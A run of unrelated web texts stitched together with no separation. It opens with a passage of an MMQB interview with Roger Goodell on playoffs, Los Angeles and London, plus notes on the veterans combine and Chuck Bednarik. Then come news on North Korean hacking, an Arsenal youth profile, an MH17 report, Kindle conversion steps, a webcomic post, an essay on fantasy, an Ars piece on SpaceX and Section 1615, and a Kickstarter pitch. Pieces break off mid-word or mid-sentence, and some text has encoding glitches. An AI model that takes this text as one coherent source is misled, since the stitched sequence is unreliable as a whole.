They're looking at the entire field. If you’re relying on someone on the sideline, the medical professional might not see it. The coaches might not see it, because they could be talking to other players. So that’s why we brought in the ATC spotter.... You can go to the video on the sideline, which has been what a lot of our medical professionals tell you is one of the great advancements.... As a matter of fact, last year I think it was in Pittsburgh—[LeVeon] Bell’s injury—they were actually showing him the injury on the sideline [with the video unit on the bench]. That’s our core—making sure that the medical professionals make the decision and have the opportunity to make it.
The MMQB: Other topics of business at the league meetings …
Goodell: The expansion of the playoffs will be discussed.
The MMQB: Why has that cooled?
Goodell: I don’t think it’s cooled at all. There are a lot of factors that go into it. One, we want to be right when we do it... It’s something that we think has got a lot of merit from a competitive side, because it would actually add more teams to the race as you get toward the end of the season. There’s the broadcasting side of it. When would you play that extra game? [A seventh playoff team in each conference would leave] one bye for the first seed in each conference.
The MMQB: What about playing a wild-card game on a Monday night?
Goodell: You could. Potential conflict that comes in there is the national championship game, because that would interfere in some years with that. We’re respectful of college football.
The MMQB: Theoretically doesn’t it make a lot of sense, if you don’t have to worry about college football, to have six games on wild-card weekend? You play two Saturday, three Sunday, and one Monday. Is that the most logical?
Goodell: Sure. But again, you have to consider college football, which is important to us.
The MMQB: What are the odds this year that you change playoffs from 12 to 14?
Goodell: You know we don’t deal in odds around here. [Laughing.] Here’s the other thing from the television partners—with the addition of [full-season] Thursday Night Football last year, we put a lot more of additional advertising inventory in the marketplace. Usually it takes a couple of years to absorb that. Then if you add in the fact that the college football playoff came in, it gave us a lot more inventory that time of year. And ticket sales, I think that’s another big issue. We want to advance this postseason policy a little more effectively so that we have confidence. You know, you could have a situation where a team ends up with two home games at the end of the season and you could end up winning your division and then play three home playoff games. You could have five home games in five weeks at the end of the season and into January. If you have a northern climate, that’s a lot to ask of your fans. So we have a lot to balance.
The MMQB: Is it logical to think that you would propose an 18-game schedule at any point in the near future?
Goodell: I think it’s one of those things that we’ll continue to evaluate the season structure. … The real short-term focus is on the quality of the preseason. Do we need four preseason games anymore—for competitive reasons or any other reason? And I think that there’s a growing sentiment that you don't. That’s including football people. If you have four games to evaluate players and develop your team, that’s a plus. I think most coaches would say that. But can you get this done and can you do it in two or three games? I think that people are more comfortable with three. So do we need that? Okay, that’s one part of the schedule. The rest is the regular season and the rest is the postseason. So I think all of these are interrelated. You have to evaluate all of them. We haven’t spent a lot of time on 18 games in the last couple of years.
On St. Louis, L.A. and How It All Shakes Out As momentum for an NFL team in Southern California grows, a new riverfront stadium rendering shows St. Louis also has options—possibly beyond the Rams, Peter King writes.
FULL STORY As momentum for an NFL team in Southern California grows, a new riverfront stadium rendering shows St. Louis also has options—possibly beyond the Rams, Peter King writes. The MMQB: Let’s get to the obligatory London and Los Angeles issues.
Goodell: I can see your enthusiasm.
The MMQB: I mean, L.A. is going to happen … As you look at the landscape, what has changed to make it logical and likely that there will be football in Los Angeles?
Goodell: I’m not saying it’s likely. I think a couple of things are positive. One is our long-term labor agreement. I would say that when someone is making the kind of investment that you have to make in the Los Angeles market as well as a lot of other markets—you need the long-term stability so that we can invest back in the business. Ultimately that will pay you back. That’s why we’ve seen the salary cap increase by $20 million per team over the past two years. That investment is paying back. I think the long-term labor agreement has given us the ability to evaluate a long-term investment in Los Angeles to make it work successfully—because it’s a challenging market. It’s competitive. The stadium is a critical component of that. They’re not getting cheaper.
The MMQB: Doesn’t it make the most sense to have Oakland and San Diego combining in a stadium in L.A. and the Rams staying in St. Louis?
Goodell: Our first objective will be to make sure that those markets have had the chance to get something done—that they can get a stadium built to secure the long-term future of their franchise. San Diego has been working 14 years on a new stadium. Oakland is not in a new debate either, for the A’s or the Raiders. Same with St. Louis.... These are long debates about what is the right solution for the community and what is best for the team. We’re looking to see if we can create those solutions locally. If we can’t, we obviously have to look at long-term solutions for those teams.
The MMQB: Gut feeling—football in L.A. in 2016?
Goodell: I really don’t know, Peter. I’m not relying on my gut, I guess. I’m relying on if there is a real alternative where we can return to the market successfully for the long-term; that is the biggest priority in Los Angeles. And the other one is obviously making sure that we’re doing whatever necessary in the local markets to keep our teams successful and give them every opportunity to create a solution that works for the team long-term.
The MMQB: One other thing about L.A.—Stan Kroenke and the cross-ownership rules. Several times the league has told Kroenke to divest the ownership of his hockey and basketball teams. What can the league do to make him get rid of those teams?
Goodell: The finance committee has been working on this. They’ve given him periods of time to correct it and different ways in which to correct it. I think progress is being made on that. Stan hasn’t said, "I’m not going to be in compliance with the rules." He wants to make sure that if we’re going change our rules, he can get consideration for that. If we’re not going to change our rules, how can he do it in the appropriate way?
The MMQB: London. Three games a year there now. Is there any progress toward a more permanent solution—whether it be a team or more games every year to get a more established toehold?
Goodell: Yeah, we’re looking at more games. Again, I think every year we’ve learned something from our experience, which is the objective. First and foremost is the passion of the fans—they want more.... What we’re getting from authorities is that, "We’d love to have a permanent presence here." Stadiums are another big part of it.
The MMQB: Does it make any sense to branch out from London, to have a game in Dublin, Barcelona, Munich …
Goodell: Well, it depends on what your objective is. Just to play those games? Sure. But we’re not out to just prove whether or not we can play a regular-season game. We’ve proven that. What we’re looking to do is: Can we develop a market? Can we develop a fan base that is long-term and sustainable? What we’re seeing are very positive signs for that. We’re seeing a tremendous interest. We also had to get through a lot of logistics. Playing a regular-season game and not compromising the integrity of the game and the competitiveness of the game is really important. I think we’ve been able to do that. But we still have more work to do if you were going say, Well, now a London-based team is going to play [a full season there]. Those are different factors that you have to consider.
The MMQB: What would you say would be your hope for the league for 2015 overall, in the wake of last season?
De Smith Stays. Will Anything Change? Andrew Brandt analyzes the recent NFLPA election and looks at what DeMaurice Smith’s return means for the future of league/player relations. FULL STORY Andrew Brandt analyzes the recent NFLPA election and looks at what DeMaurice Smith’s return means for the future of league/player relations. Goodell: Well, to some extent, it’s that the things that we’re doing are working. The changes that we’re making to the game are making it better and safer. The changes that we’re making to our policies to keep our stadiums full are working. We need to continue down those paths. We need to continue to work at it. You can’t get complacent. It’s working. The changes that we’re making to our personal conduct policy are working. Let’s keep down that path. The changes that are happening in the media world are significant. We have strategies. We have approaches that we think are positioning us very well for that future. We’re seeing more fans engaged with the game. We’re seeing the quality of the game continue to improve to be safer. So it’s working. That's the optimism that the owners feel, that I feel, that we all feel about the game going forward. The work that we’re doing in youth football, as I said, the numbers of participation—for the first time in five years, high school football is up. We think the same kind of results are happening on the youth football level. Those are the kinds of positive changes that are [coming] because of a lot of the efforts that we’ve all made. Whether it’s investment in USA Football or some of the research, we’re pushing the right buttons. None of us can get complacent. The expectations of the NFL continue to rise, whether they’re internal or external. We have to meet that bar. We have to meet the expectation of our fans. They deserve it. We have to show them that their faith and trust in us is well placed.
The MMQB: Do you think the draft is logically a road show now?
Goodell: We want to make sure that this event is a success for our fans and for our clubs. Obviously it’s an important offseason event for us. I’m confident it will be. The reaction we’re getting and the excitement that is building around the draft is really extraordinary. We’re really thrilled with our plans. We have to execute on that, and then we’ll make that evaluation. There are so many markets that want this … I don’t know if I’d say logical. One of the reasons that we’re doing this is because we couldn’t get into the current facility [Radio City Music Hall in New York] until June.... Now we’ll find out—is it really something that there’s a great deal of interest in other markets? We think the answer is yes. … Will we move it every year? We’re not ready to make that decision.
The MMQB: Is there one city that is really aggressive about having it?
Goodell: Canton, Ohio. It’s awesome!
The MMQB: What was your meeting with Jameis Winston about, and are you concerned that the possible first pick in the draft is likely not going to attend the draft?
Goodell: Well the first answer is that it was a meeting at his request. We certainly welcomed the opportunity to sit with Jameis and his representatives. We had several people affiliated with our office that met with him. It was a good opportunity for us to make sure that he understood the expectations that we have of him as a player in the NFL for him to ask questions of us, and to make sure that there is clarity about the importance of the personal conduct policy and the expectations we have of everyone—whether you’re a player, whether you’re a first-round draft choice, or whether you’re the commissioner. We have a responsibility to live up to them.
The second part is he was clear that he wanted to spend time with his family. We’ve had that occur on several occasions over the years.
The MMQB: But rarely, if ever, with the first pick…
Goodell: I wouldn’t know because I’m not part of those invites, but I’m not concerned with that. I think that it’s something we respect when a player says, "I’d like to be with my family on that day." It’s an important day for them also.
The MMQB: What leads you to believe that 2015 is going to be a better year for the NFL?
Goodell: Well, I think the first part is that we implemented a personal conduct policy in December which we think is responsive to addressing very complex issues where we acknowledged that our policy didn’t deal with those things [domestic violence issues] effectively. We brought in expertise to help us make those decisions going forward. I think there’s clarity to those issues. We’ve also worked very hard on educating all personnel in the NFL—whether you’re a player, a coach or a front office executive, or someone who works in the NFL offices—to understand the importance of this issue and why we take this so seriously. So I’m confident from that perspective that there’s great progress that we made. And from an on-field issue, we had an extraordinary season. It was a competitive year that ended with the most-watched show in the history of television. So fans engaged with our game at an incredibly high level last year. We have to continue to focus on the game of football while making sure that we’re doing the right things off the field—and I’m confident that we will.
* * *
Brady Quinn was one of the quarterbacks at Sunday's veteran combine in Arizona. (Rick Scuteri/AP) Brady Quinn was one of the quarterbacks at Sunday's veteran combine in Arizona. (Rick Scuteri/AP)
Not much to report from the first NFL veterans combine.
Takeaways from the inaugural event at the Cardinals’ practice facility in Tempe, where 105 players worked out on Sunday, picked from among 1,800 to 2,000 applicants (according to the league) for workout slots:
1. There’s a reason why a lot of these vets are unsigned. Even on a relatively slow track, the 40 times were plodding. Former Cowboys running back Felix Jones, who once was speedy, ran 4.79 and 4.85 times in his 40-yard dashes. Michael Sam couldn’t crack a 5-flat 40. There was talk that one of the 105 ran the 40 in six seconds. You know, Rich Eisen time.
2. “There may be a few back-end-of-the-roster training-camp players," said one GM on hand, “but that’s it."
3. Players had to pay a fee to work out for NFL teams. There’s something tawdry about that in the first place, for a multibillion-dollar enterprise such as the NFL. If the “prospects” were truly prospects, why are they paying to be seen? If it’s programming for NFL Network, or just another slow-day news story for the league to drag out (some 40 media members covered the show on Sunday), then the veterans combine is not being done for the right reason—the right reason being the league is looking for prospects. Visitors to the event walked away with one overriding thought: That was sad.
* * *
In the wake of the Borland news...
With the surprising news last week that 24-year-old Niners linebacker Chris Borland was retiring, fearful of what football could do to his long-term health, I think it’s premature to forecast the death of football. But there’s no question the Borland news is a caution flag for the league. To me, the big question is how Borland quitting at his peak and at such a young age will affect the future of the game. There have to be more parents out there questioning whether to let their sons ever play football now. Our Greg Bedard is one of them; he wrote eloquently about Borland’s decision and the effect it had on him and his wife.
Football Wonu2019t Be The Same Greg Bedard offers the perspective of a parent weighing whether and when to allow his son to play football. FULL STORY Greg Bedard offers the perspective of a parent weighing whether and when to allow his son to play football. On Friday, I spoke with the coach of the best high school football team in the Bay Area, De La Salle High’s Justin Alumbaugh, to ask him about how his players, and the parents of his players, were reacting to the stunning news about the bright 49er prospect.
"One of our best players was heartbroken about it," said Alumbaugh. “He seemed sad all day when it happened."
Aside from the anecdotal story, Alumbaugh said he hoped the Borland news would drive the health-and-safety discussion about football to an even more prominent level. “This is important," Alumbaugh said, “because it could be another building block in modernizing the sport. It creates more discussion about how much we’re doing now to improve the safety of the game, and how the future of the sport should look. I wouldn’t call it a wakeup call, because we’re already addressing with our medical staff so much about the health and safety of our players. Each year, in the preseason, all of our players takes an IMPACT test [a baseline cognitive test to judge against brain function after a suspected concussion]. We have a neurologist meet with every player. When the season starts, anything approaching a concussion, that player is out of the coaches’ hands. It’s all up to the medical professionals. Last year, among our 67 varsity players, we had one concussion.
"One of the other things we’ve done is to really go to school on tackling technique. We studied the Seahawks’ tackling video, where they teach never to use your head. We immediately implemented that. The results were awesome. We have cleaner tackling now, less vicious tackling."
Alumbaugh has not see a decline in participation numbers at De La Salle. Then again, it’s not likely that one of the great football schools would see kids quit, or new kids not come out for the team. What I found the most encouraging about Alumbaugh: He sees football coaching as continuing education. On Sunday he planned to show his coaches tape of the University of New Hampshire coaches teaching full-speed tackling with players wearing no helmets. “It’s our responsibility as coaches, when new information comes in, to pay attention and incorporate that into what we teach,’’ he said.
* * *
Chuck Bednarik, 1925-2015.
(John G. Zimmerman/Sports Illustrated) (John G. Zimmerman/Sports Illustrated)
I say this with confidence: There is no football player of a certain age who dictated the future ethos of his franchise, who put a lifetime imprint on a franchise and a city, the way Chuck Bednarik did with the Eagles and the city of Philadelphia.
Bednarik, who served nobly as a machine-gunner in a B-24 bomber in World War II and came out to be the first player picked in the 1949 draft, died Saturday. He’s famous because he was the last full-time two-way player in NFL history—as late as 1960, he started at linebacker and center regularly for the NFL champion Eagles. He’s also famous because he hit like a Mack Truck. And because he was the heart and soul and modern precursor to what the Philadelphia Eagles became.
The play that will live in the hearts of so many Eagles fans—including the thousands not alive to see it when it happened—occurred on Nov. 20, 1960, when the Eagles led the Giants late in the fourth quarter, trying to hang on to a 17-10 lead and secure their place atop the Eastern Division of the NFL. The Giants were driving, and New York hero Frank Gifford, the Jeter of his day in the big city, caught a pass and headed upfield. Bednarik ran at Gifford and exploded into him chest-first, Gifford falling to the cold turf just as cold as the ground. Then, Bednarik stood over Gifford, and in a rage that would have cost his team 15 yards today, gesticulated at Gifford and screamed something like, “This game is OVER!”
Fast-forward to 15 years ago. I was in Andy Reid’s head-coaching office with the Eagles, and there was a huge rectangular photo on the wall—the shot of Bednarik exulting over the prone and motionless Gifford. Bed |
military data center where the information was kept, in September last year but refused to confirm the nature of the information that was compromised.
South Korea also last year accused North Korea of hacking the personal data of more than 10 million users of an online shopping site and dozens of email accounts used by government officials and journalists.
The United States in 2014 formally accused North Korea of hacking Sony Pictures Entertainment over the movie “The Interview,” a satirical film about a plot to assassinate North Korea’s leader.
South Korea said in 2015 that North Korea had a 6,000-member cyberarmy dedicated to disrupting the South’s government and military. The figure was a sharp increase from a 2013 South Korean estimate of 3,000 such specialists.
Baik Tae-hyun, spokesman of South Korea’s Unification Ministry, which deals with matters related to North Korea, said Monday that the Seoul government was examining whether the North was behind hacking attacks on a cryptocurrency exchange in June. About $7 million in digital money was stolen in the hacks, South Korean officials said.
There’s speculation in the South that North Korean hackers are possibly targeting cryptocurrency like bitcoin to evade the heavy financial sanctions imposed over the country’s nuclear weapons and missiles program.
“We are monitoring the bitcoin-related issue. We believe that North Korea is currently engaging in various activities to evade sanctions and earn foreign currency,” Baik said.Reiss Nelson may be Arsenal’s standout youth player at present but he is far from the only prospect at the club who has a chance of succeeding in the long term.
Eddie Nketiah has been prolific in front of goal over the past couple of seasons, with the 18-year-old frequently finding the net regardless of the level he’s playing at.
Having featured for the first-team in pre-season, Nketiah has now gone back to playing for Arsenal’s U23 side and, based on his performances so far this campaign, it surely won’t be too long before he is afforded another opportunity to impress in the senior set-up.
While he is certainly best suited to playing as a central striker, the England youth international is capable of performing effectively in other positions.
Last season, for instance, he demonstrated that he can thrive in the number ten position, playing incisive through-balls forward and also pushing further upfield himself when the opportunity arises.
Furthermore Nketiah can make an impact when used on either flank and it is on the right wing that he has been playing in the past couple of U23 games.
From this position he can use his pace to cause all manner of problems for opposing defences, while he is capable of timing his passes to perfection.
In addition, playing out wide enables Nketiah to showcase his hard-working nature – he can track back defensively and close opponents down with regularity.
Above all, wherever he is played, Nketiah’s determination to make an impact is especially evident, with the starlet constantly seeking to improve.
Such an attitude will surely bode well for his chances of making the grade in the long-term but for now he will be hoping to make his competitive debut for the club in the coming weeks, with the Europa League and the League Cup representing potential opportunities for him to do just that.
—
Jeorge Bird is the author of www.arsenalyouth.wordpress.com Follow him on Twitter @jeorgebirdMinister Frans Timmermans is in Ukraine's capital Kiev with his Australian Foreign Affairs colleague Julie Bishop to discuss the safe progress of the international investigation currently underway. Out of discussions with the Ukrainian government, Minister Timmermans has drawn up a treaty that would allow Dutch personnel in the East of the country to arm themselves in case clashes escalate and their own safety is not secured.
The treaty is meant as an insurance policy against a'maximum scenario' as a diplomat from Foreign Affairs tells Parliament. The Dutch representatives, including police and members of the Military Police, are not carrying weapons to prevent themselves from becoming involved in the armed conflict currently taking place in the vicinity of the MH17 crash site.
Minister Timmermans has convinced the Ukrainian government to allow armament in case of a'maximum scenario'. This scenario would involve clashes in the area escalating to the point that the Dutch staff members risk their own lives being in the area.
Ukraine's president Petro Poroschenko has promised Minister Timmermans that the Ukrainian army will guarantee a safe road to the disaster area to the best of their abilities, and not engage in fighting with the rebels in the area where the Malaysia Airlines plane came down.
The Netherlands has the lead in the investigation process in the area, with the top priority of finding and repatriating any remaining victims. There are currently 23 Dutch police agents and 40 members of the Military police in Donetsk, close to the crash site. The Netherlands has 120 people on stand-by. Australia and Malaysia have 50 and 58 people in the area, respectively.
After remains and possessions of the 293 victims are repatriated, the next priority for the international investigative team is to thoroughly investigate what the cause of the crash is, and how it happened. Then, a prosecution may take place, which will be performed by the Investigative Council for Security (OvV). This is an independent investigative body.
According to the Commander of the Armed Forces, Peter Middendorp, the repatriation mission should not take more than three weeks. He tells Parliament that the area around the site is being ruled by military conflict. Parliament has asked questions about what will happen if the mission has to be prolonged after three weeks.Screenshot by Ed Rhee
Step 4: When the convert window appears, make sure that the output format is set to "MOBI."
Screenshot by Ed Rhee
Step 5: Click on "MOBI Output" from the left column and delete the [PDOC] tag in the "Personal Doc tag" section.
Screenshot by Ed Rhee
Step 6: Click the OK button to start converting your e-books.
Step 7: Once Calibre has finished converting your e-books, copy your e-book files to the "Books" folder on your Kindle Fire. Remember, you'll need a micro-USB data cable (not included with the Kindle Fire) to transfer files to your Kindle Fire.
Step 8: Check the "Books" section to make sure your e-books are there.
Screenshot by Ed Rhee
That's it. To delete the PDOC tag permanently in Calibre, go to Preferences > Output Options > MOBI Output and remove the tag there.
A side benefit to converting your e-books in Calibre, is that it shrinks the size of the Mobipocket file (.mobi). Since the Kindle Fire doesn't have any memory expansion slots, converting your e-books may end up saving you a lot of storage space on your Fire.Stinky the squirrel gets a bath! Alas poor Stinky we knew him well (pun intended!) That’s the last we’ll see of Piccolo’s smelly sidekick but it looks like the tiny tot may have found a new ‘friend’! I’ve wondered if I should make Piccolo an official member of the Gang but he’s a bit of a loner right now. We’ll see if things change in the future, I know Buster would object for sure! He even has a problem with a girl being part of the Gang, he just (wisely) keeps his mouth shut about that though.
This is probably the creepiest tale I’ve done so far, this homage to H.P. Lovecraft, although there’s still plenty of humor! I have a super creepy tale coming up in Issue #7 which is an homage to Mike Mignola, can’t wait to spring that one on you!
Thanks again so much for reading and please leave a comment, I’d love to hear what you think of the story so far! And please tell others about my comic and be sure to cast a vote for my comic HERE so I can get The Graveyard Gang higher in the ranking at Top Web Comics – the higher the better! Thank you so very much!Enjoying fantasy can be dangerous business. You enter into a story, and if you don’t hold onto a form of disbelief, there’s no knowing where you’ll draw parallels between the fantasy and reality. You might find something true amidst the unbelievable.
Charles Taylor, philosopher and author of A Secular Age, argues we live in an age of disenchantment. He describes a shift in our sense of identity, from the “porous self” of our ancestors to the “buffered self” of today. Taylor describes the shift as more than the shedding of supposedly irrational beliefs, but as the “loss of a certain sensibility that is really an impoverishment.” As moderns, we have trouble getting our heads around things like faeries and visions, and Taylor points out how we explain psychologically what our ancestors took at face value: there are faeries in the forest. Today, we believe that “Whatever has to do with thought, purpose, human meanings, has to be in the mind, rather than in the world.”
Writing about the relationship between fantasy and the buffered self, Alan Jacobs summarizes this shift:
“…a person accepts a buffered condition as a means of being protected from the demonic or otherwise ominous forces that in pre-modern times generated a quavering network of terrors. To be a pre-modern person, in Taylor’s account, is to be constantly in danger of being invaded or overcome by demons or fairies or nameless terrors of the dark—of being possessed and transformed, or spirited away and never returned to home and family.
The buffered self believes that it has more control and is therefore safer than the porous self, which contends with this “network of terrors.” But there are two sides to this story. If the universe is as empty as our buffered condition would have us believe, then we are insulated from both the “network of terrors” and the possibilities of external good, even divine good.
However, our buffered selves can still act as tourists in an enchanted world. Jacobs argues that works of fantasy allows buffered selves to participate in the “enchanted world” of our ancestors without losing the safety of our buffered state. As a genre, fantasy doesn’t constitute the porous self that Taylor speaks of, but rather hearkens back to it. Without relinquishing any control, we suspend our disbelief and simulate the porosity of our former faerie-fearing selves.
Fantasy resonates so deeply with many because, often, we’re not yet resigned to a wholly silent universe. Indulging in fantasy requires the temporary adoption an enchanted vision of the world, whether our own or another. Fantasy winds its way into the cracks of our vision and illuminates alternative ways for how—and who—operates the universe. Covering our eyes does not preclude the shining of a light just as a bulwark of manufactured meaning doesn’t foreclose on deep, spiritual truth. Fantasy invites us to look at the world in the light of a strange, new sun.
For this reason, good fantasy, like The Lord of the Rings, can animate and enlarge life itself.
This hit me this autumn while going through the most difficult semester of my academic career. I began studying journalism with a desire to tell great stories but came up against structural restrictions and found myself disillusioned, overworked, and lonely.
In search of respite, my wife and I invited a friend over to watch The Lord of the Rings films. Our friend had never seen them, and we were excited to share the joy we find in the stories with her.
Down in the Mines of Moria, Frodo’s dialogue with Gandalf echoed my struggle to accept personal failures and an uncertain future:
“I wish the Ring had never come to me. I wish none of this had happened.”
“So do all who live to see such times, but that is not for them to decide. All we have to decide is what to do with the time that is given to us. There are other forces at work in this world, Frodo, besides the will of evil.”
An encouraging thought, indeed, but not an easy one. I cried. I cried silent tears and sat in the dark with Frodo and found truth under the mountain. Yet, beneath a mountain of doubt, a light broke through; here was truth or, at least, the promise of life beyond the present shadow.
Gandalf’s advice brought me to a place where I understood what it meant to say “I will take the Ring, though I do not know the way.” The givenness of life comes with the weight of responsibility, but it isn’t a weight that must be carried alone. When a burden is given it must have a purpose, and it’s by discovering this purpose that life’s joys are sweetened by its pains.
Further in their quest, Frodo and Samwise have what’s essentially a discussion on the relationship between divine will and human responsibility; the perennial question of determinism. “I don’t like anything here at all […] but so our path is laid,” says Frodo.
To which Samwise replies:
“Yes, that’s so,” said Sam, “And we shouldn’t be here at all, if we’d known more about it before we started. But I suppose it’s often that way. The brave things in the old tales and songs, Mr. Frodo, adventures, as I used to call them. I used to think that they were things the wonderful folk of the stories went out and looked for, because they wanted them, because they were exciting and life was a bit dull, a kind of a sport, as you might say. But that’s not the way of it with the tales that really mattered, or the ones that stay in the mind. Folk seem to have been just landed in them, usually their paths were laid that way, as you put it. But I expect they had lots of chances, like us, of turning back, only they didn’t. And if they had, we shouldn’t know, because they’d have been forgotten. We hear about those as just went on, and not all to a good end, mind you; at least not to what folk inside a story and not outside it call a good end. You know, coming home, and finding things all right, though not quite the same; like old Mr. Bilbo. But those aren’t always the best tales to hear, though they may be the best tales to get landed in! I wonder what sort of a tale we’ve fallen into?
The Fellowship of the Ring ends with a note on which most worldly quests fall apart. The fellowship breaks; the damage of Boromir’s betrayal can’t be undone despite his redemption, and the path before Frodo becomes even darker.
In spite of all that, when the credits rolled I found myself strangely resolved to my fate—whatever that may be. Instead of escaping into the story, the story had passed into me and overwhelmed my doubts.
If this world isn’t enchanted, then after the breaking of the fellowship, Gimli was right to say, “it has all been in vain.” Disenchantment has a diminishing effect; it makes us small, insignificant features of a quiet universe instead of participants on an awe-inspiring stage. Disenchantment leaves us to toil in obscurity or to grasp at power with what little agency we possess, often to the detriment of those around us. Disenchantment offers us fleeting, minor victories in the face of life’s daunting, and often crushing, trials.
Good fantasy, and the world it invites us into, animates because it presupposes a power both above and beyond us. It invites us into a universe that sings. A world in which we do not merely exist, but have being. Good fantasy can open us, make us porous to this divine good, which means we can work towards goals—our quests—with the hope that not everything will be in vain or, better yet, that nothing will have ever been in vain. After all, “despair is only for those who see the end beyond all doubt,” and we most certainly do not.
Good fantasy lets us see our lives aren’t wholly personal, or even how I might not be the hero of my own story, which frees me to ask this question: what kind of tale have I fallen into?
“I wonder,” said Frodo, “But I don’t know. And that’s the way of a real tale. Take any one that you’re fond of. You may know, or guess, what kind of a tale it is, happy-ending or sad-ending, but the people in it don’t know. And you don’t want them to.”
If you enjoy a good story this is good news of the highest order. Our stories have purpose; there are more reasons to get out of bed than to hide in fear. It’s a mercy to our unyielding desire for meaning that we don’t have to save the world to find our purpose in it, or even to change it.
Experiencing the enchanted worlds of fantasy is not escapism. Rather than providing a hiding place, it can lay our world bare, stripping away the buffers of our self-justification. If my troubles are the result of my poor choices then I’m just a fool, but if my path has been laid before me—given to me—then there is meaning in my struggle, no matter the outcome.
The wisdom of elves reminds us that it’s often the small hands that move the wheels of the world, a truth, when taken with the givenness of our stories, simultaneously lays a burden of responsibility on us while ensuring its lightness. As enchanted creatures, what we decide to do with what we’re given will carry on beyond this life, but we aren’t left to make the most of our lives alone. There is good in this world, and beyond it.
The Lord of the Rings is not a story about heroes; it is a story about becoming heroes, and that makes a world of difference. An enchanted world frees me to be a pair of small hands that matter, a character in a story full of songs about great deeds, and not all of them necessarily my own. Good fantasy reminds me that the world is enchanted and that the real escapism is a cocoon of manufactured meaning, a retreat from the illumined universe where we imagine ourselves both the author and the hero of our stories. This is an escapism that crushes, and suffocates.
True freedom comes with risk, and if we live in an enchanted universe then the risk is real, but the burdens are light.
Featured Image: Tolkien’s Orignial Watercolor for The Hobbit
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PrintThe articles began appearing in late August, mostly in conservative publications such as Town Hall, Breitbart, and the Daily Caller and have since continued to trickle out through October. All of the dozen or so Web commentaries, variously styled as op-eds or contributions, have made the same essential point—that Elon Musk is benefiting from crony capitalism and must be stopped.
This is not a particularly new line of attack against Musk, especially among some conservatives who decry the public money his companies have received to build solar power facilities, electric cars, and low-cost rockets. Yet most of these articles have been quite specific in their attacks, pinpointing a single section in the 2018 National Defense Authorization Act as particularly troublesome to the Republic.
The articles, several of which are written by former US Rep. Ron Paul or his associates, have the same general theme: Musk has given lavishly to politicians, especially Arizona Senator John McCain (R). In return, McCain added Section 1615 to this year's defense authorization bill, which includes language to restrict the military from investing in new launch systems. With this language, the articles assert, Musk seeks a monopoly on the US national security launch market. In addition to saying this allows Musk to fleece taxpayers, some of the more overdone authors assert that it could kill Americans.
"As the Senate deliberates the FY 2018 [National Defense Authorization Act], it should listen to the real experts on space-related matters, not pseudo experts with vested financial interests, like Musk donor recipient John McCain," wrote Jerry Rogers, in The Federalist, in a typical op-ed. "Musk’s business model of using the government to corner the market in the electric car industry isn’t optimal, but at least it doesn’t threaten American lives."
Section 1615
The central canard of these attacks is that John McCain did not, in fact, add "Section 1615" to the Defense Authorization Act, which is now being finalized by a conference between the House and Senate. This clause does not exist at all in the Senate language. Rather, it was inserted into the House legislation by US Rep. Mike Rogers, a Republican from Alabama.
Rogers' language concerns the procurement of new US-made rockets. The US military is required to have assured access to space, and this means two separate launch systems to get its spy and communications satellites into orbit. It currently has three—the Delta and Atlas families of rockets built by United Launch Alliance (ULA) and the Falcon 9 rocket by SpaceX. However, ULA wants to stop building the Delta rockets because they are expensive, and the Atlas fleet uses Russian-made RD-180 rocket engines, which Congress wants to phase out.
This leaves the possibility that, absent Congressional action, the US military could find itself with only SpaceX's rocket to reach space within a few years. Therefore, the US military is spending a few billion dollars over this decade to develop one or more new launch systems to replace the Delta and Atlas fleets with vehicles powered by US-made engines.
As a long-time national defense contractor for the government, ULA is at the front of the line for these funds. The Colorado-based company, which was formed by Boeing and Lockheed Martin in 2005, prefers to build a new rocket, named Vulcan. ULA has said it wants to use Blue Origin's American-made BE-4 rocket engine for Vulcan because this engine is further along in development. However, Vulcan could also use an engine under development by Aerojet Rocketdyne, the AR1. Finally, it's possible the AR1 engine could be a "drop in" replacement for the RD-180 engine in the existing Atlas V rocket, although there is some debate about how simple it would be to use the AR1 in this manner.
Section 1615 restricts how the Secretary of Defense can spend money on these new launch systems, allowing funds to only be spent on engine development, the interface between a new engine (i.e., AR1) and an existing launch vehicle (i.e., Atlas V), or to pay for expenses unique to military launches, such as certification costs and vertical integration of payloads. Critically, for ULA, it does not allow for spending on other parts of the rocket. This restriction is what the conservative editorial writers are railing against.
Who benefits, who doesn’t
Two sources familiar with the legislation told Ars that Rogers added Section 1615 specifically to benefit Aerojet and its AR1 rocket engine.
"The purpose of the provision is simple," one Washington DC source said. "Instead of the Department of Defense continuing their open-ended, market-friendly risk reduction investment across several providers to enable Russian-engine-free launch capabilities, Rogers wants DOD to fund Aerojet to build AR1 to be inserted into Atlas V." In other words, the language benefits Aerojet by favoring its "drop in" engine solution over building a completely new Vulcan rocket.Want to see the achievements in all their glory? Check out the Joking Hazard Facebook page!
Someone on the Internet once told us that making stick figure comics is easy as hell, and that we were ugly and stupid.
They were right on all counts. So, after crying for a few hours, we created the Random Comic Generator (and free iPhone app!), which since its inception in 2014 has entertained millions with its computer-generated comedy.
Go play with the RCG if you haven't already. It has around 20 million combinations. We'll wait!
After a few weeks of playing with the Random Comic Generator, we started to wonder if its hundreds of random panels might lend themselves to a card game, where you compete against your friends to finish a comic with a funny punchline. So we printed out all of the RCG panels and started playing with them.
Well, it worked. It worked really, really well (with a few tweaks).
And now we think our game, Joking Hazard, is ready to bring to the world. With your help, of course.
The game itself includes a deck of 370 unique panel cards (we did the math, and that’s over 50 million combinations of comics) most of which are so messed up we can’t show them on Kickstarter without censoring them. And we’re against censorship, so instead we’ll censor the word “deck” itself.
For $25 you will get a single d*ck. Brand new and wrapped in plastic.
For $35, we'll also add in a 50 card booster pack, called "Blast From The Past", for your d*ck. It includes all your favorite jokes, especially ones about World War 2.
For $45, you'll get a collectible Kickstarter-exclusive Red Box version to cover your d*ck, in addition to the Blast From The Past expansion.
Feel like pledging $60? Congrats, you are now the proud owner of two d*cks in the Kickstarter-exclusive Red Box and two copies of the Blast From The Past booster pack! Hoard them for yourself, or share a d*ck with a friend. That’s Christmas taken care of!
Want to spend more than $60? Check out the list of reward tiers to the right. We’ll do all kinds of things with your d*ck. Not only that, but if the community helps us unlock the achievements below, everyone's d*ck will become bigger.Untitled a guest Feb 12th, 2012 493 Never a guest493Never
